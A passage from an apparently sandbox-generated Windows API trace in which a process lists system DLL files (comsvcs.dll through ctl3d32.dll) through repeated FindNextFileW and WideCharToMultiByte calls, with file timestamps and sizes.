lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.404] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0036.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x30c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.405] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.406] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, 